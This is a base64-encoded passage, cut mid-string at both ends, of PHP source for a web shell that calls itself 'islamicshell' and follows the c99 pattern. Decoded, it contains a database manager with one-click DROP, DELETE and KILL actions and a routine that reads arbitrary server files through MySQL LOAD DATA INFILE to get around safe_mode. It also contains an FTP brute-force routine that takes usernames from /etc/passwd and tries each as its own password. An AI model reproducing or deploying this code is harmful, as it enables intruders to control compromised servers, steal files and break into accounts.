bi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjxiPiIuJHJvd1siTmFtZSJdLiI8L2I+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJUeXBlIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRzaXplLiI8L3RkPiI7DQoNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0ncXVlcnknO2RvY3VtZW50LnNxbC5zcWxfcXVlcnkudmFsdWU9JyIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kcm93WyJOYW1lIl0uImAiKS4iJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+PGI+RU1QVDwvYj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0ncXVlcnknO2RvY3VtZW50LnNxbC5zcWxfcXVlcnkudmFsdWU9JyIudXJsZW5jb2RlKCJEUk9QIFRBQkxFIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiInO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj48Yj5EUk9QPC9iPjwvYT4mbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLiRyb3dbIk5hbWUiXS4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9hY3QudmFsdWU9J2luc2VydCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjxiPklOUzwvYj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRyIGJnY29sb3I9XCIwMDAwMDBcIj4iOw0KICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+uzwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxiPiIuJHRyb3dzLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0Ymxkcm9wXCI+RHJvcDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHVtcFwiPkR1bXA8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGNoZWNrXCI+Q2hlY2sgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibHJlcGFpclwiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsYW5hbHl6ZVwiPkFuYWx5emUgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgICRhY3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTsNCiAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpIHs/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IERCOjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0iZ2V0ZmlsZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSk7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0Ij48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocCB9DQogICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkNCiAgIHsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCRzcWxfYWN0ID09ICJuZXdkYiIpDQogICAgew0KICAgICBlY2hvICI8Yj4iOw0KICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQ0KICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikNCiAgICB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9IzAwMzMwMCBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSMwMDMzMDAgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKQ0KICAgIHsNCiAgICAgaWYgKCFlbXB0eSgka2lsbCkpIHskcXVlcnkgPSAiS0lMTCAiLiRraWxsLiI7IjsgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsgZWNobyAiPGI+S2lsbGluZyBwcm9jZXNzICMiLiRraWxsLiIuLi4gb2suIGhlIGlzIGRlYWQsIGFtZW4uPC9iPiI7fQ0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0VTU0xJU1QiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwvdGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RBVEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfYWN0LnZhbHVlPSdwcm9jZXNzZXMnO2RvY3VtZW50LnNxbC5raWxsLnZhbHVlPSciLiRyb3dbMF0uIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikNCiAgICB7DQogICAgICR0bXBkYiA9ICRzcWxfbG9naW4uIl90bXBkYiI7DQogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsNCiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0ZWQgPSAhISRzZWxlY3Q7fQ0KICAgICBpZiAoJHNlbGVjdCkNCiAgICAgew0KICAgICAgJGNyZWF0ZWQgPSBGQUxTRTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRtcF9maWxlYCAoIGBWaWV3aW5nIHRoZSBmaWxlIGluIHNhZmVfbW9kZStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7DQogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7DQogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7DQogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvICI8Yj5FcnJvciBpbiByZWFkaW5nIGZpbGUgKHBlcm1pc2lvbiBkZW5pZWQpITwvYj4iO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpO30NCiAgICAgICAkZiA9ICIiOw0KICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7JGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpO30NCiAgICAgICBpZiAoZW1wdHkoJGYpKSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIiBkb2VzIG5vdCBleGlzdHMgb3IgZW1wdHkhPC9iPjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30NCiAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSB0bXBfZmlsZTsiKTsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBteXNxbF9kcm9wX2RiKCR0bXBkYik7IC8vY29tbWVudCBpdCBpZiB5b3Ugd2FudCB0byBsZWF2ZSBkYXRhYmFzZQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KIGlmICgkc3FsX3NvY2spDQogew0KICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOw0KICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9DQogIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+PC90ZD48L3RyPiI7DQogfQ0KIGVjaG8gIjwvdGFibGU+IjsNCn0NCmlmICgkYWN0ID09ICJta2RpciIpDQp7DQogaWYgKCRta2RpciAhPSAkZCkNCiB7DQogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fQ0KICBlbHNlaWYgKCFta2RpcigkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9DQogIGVjaG8gIjxicj48YnI+IjsNCiB9DQogJGFjdCA9ICRkc3BhY3QgPSAibHMiOw0KfQ0KaWYgKCRhY3QgPT0gImZ0cHF1aWNrYnJ1dGUiKQ0Kew0KIGVjaG8gIjxiPkZ0cCBRdWljayBicnV0ZTo8L2I+PGJyPiI7DQogaWYgKCF3aW4pIHtlY2hvICJUaGlzIGZ1bmN0aW9ucyBub3Qgd29yayBpbiBXaW5kb3dzITxicj48YnI+Ijt9DQogZWxzZQ0KIHsNCiAgZnVuY3Rpb24gYzk5ZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkNCiAgew0KICAgaWYgKCRmcWJfb25seXdpdGhzaCkgeyRUUlVFID0gKCFpbl9hcnJheSgkc2gsYXJyYXkoIi9iaW4vRkFMU0UiLCIvc2Jpbi9ub2xvZ2luIikpKTt9DQogICBlbHNlIHskVFJVRSA9IFRSVUU7fQ0KICAgaWYgKCRUUlVFKQ0KICAgew0KICAgICRzb2NrID0gQGZ0cF9jb25uZWN0KCRob3N0LCRwb3J0LCR0aW1lb3V0KTsNCiAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3MpKQ0KICAgIHsNCiAgICAgZWNobyAiPGEgaHJlZj1cImZ0cDovLyIuJGxvZ2luLiI6Ii4kcGFzcy4iQCIuJGhvc3QuIlwiIHRhcmdldD1cIl9ibGFua1wiPjxiPkNvbm5lY3RlZCB0byAiLiRob3N0LiIgd2l0aCBsb2dpbiBcIiIuJGxvZ2luLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRwYXNzLiJcIjwvYj48L2E+Ljxicj4iOw0KICAgICBvYl9mbHVzaCgpOw0KICAgICByZXR1cm4gVFJVRTsNCiAgICB9DQogICB9DQogIH0NCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgew0KICAgaWYgKGlzc2V0KCRfUE9TVFsnZnFiX2xlbmdodCddKSkgJGZxYl9sZW5naHQgPSAkX1BPU1RbJ2ZxYl9sZW5naHQnXTsNCiAgIGlmICghaXNfbnVtZXJpYygkZnFiX2xlbmdodCkpIHskZnFiX2xlbmdodCA9ICRuaXhwd2RwZXJwYWdlO30NCiAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsNCiAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQ0KICAgZWxzZQ0KICAgew0KICAgIGlmIChpc3NldCgkX1BPU1RbJ2ZxYl9sb2dnaW5nJ10pKSAkZnFiX2xvZ2dpbmcgPSAkX1BPU1RbJ2ZxYl9sb2dnaW5nJ107DQogICAgaWYgKCRmcWJfbG9nZ2luZykNCiAgICB7DQogICAgIGlmIChpc3NldCgkX1BPU1RbJ2ZxYl9sb2dmaWxlJ10pKSAkZnFiX2xvZ2dpbmcgPSAkX1BPU1RbJ2ZxYl9sb2dmaWxlJ107DQogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHskZnFiX2xvZ2ZwID0gZm9wZW4oJGZxYl9sb2dmaWxlLCJ3Iik7fQ0KICAgICBlbHNlIHskZnFiX2xvZ2ZwID0gRkFMU0U7fQ0KICAgICAkZnFiX2xvZyA9ICJGVFAgUXVpY2sgQnJ1dGUgKGNhbGxlZCBpc2xhbWljc2hlbGwgICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7DQogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgfQ0KICAgIG9iX2ZsdXNoKCk7DQogICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgJGZ0cHF1aWNrX3N0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgd2hpbGUoIWZlb2YoJGZwKSkNCiAgICB7DQogICAgICRzdHIgPSBleHBsb2RlKCI6IixmZ2V0cygkZnAsMjA0OCkpOw0KICAgICBpZiAoYzk5ZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJbMF0sJHN0clswXSwkc3RyWzZdLCRmcWJfb25seXdpdGhzaCkpDQogICAgIHsNCiAgICAgIGVjaG8gIjxiPkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCI8L2I+PGJyPiI7DQogICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsNCiAgICAgIGlmICgkZnFiX2xvZ2ZwKSB7ZnNlZWsoJGZxYl9sb2dmcCwwKTsgZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQ0KICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgIG9iX2ZsdXNoKCk7DQogICAgIH0NCiAgICAgaWYgKCRpID4gJGZxYl9sZW5naHQpIHticmVhazt9DQogICAgICRpK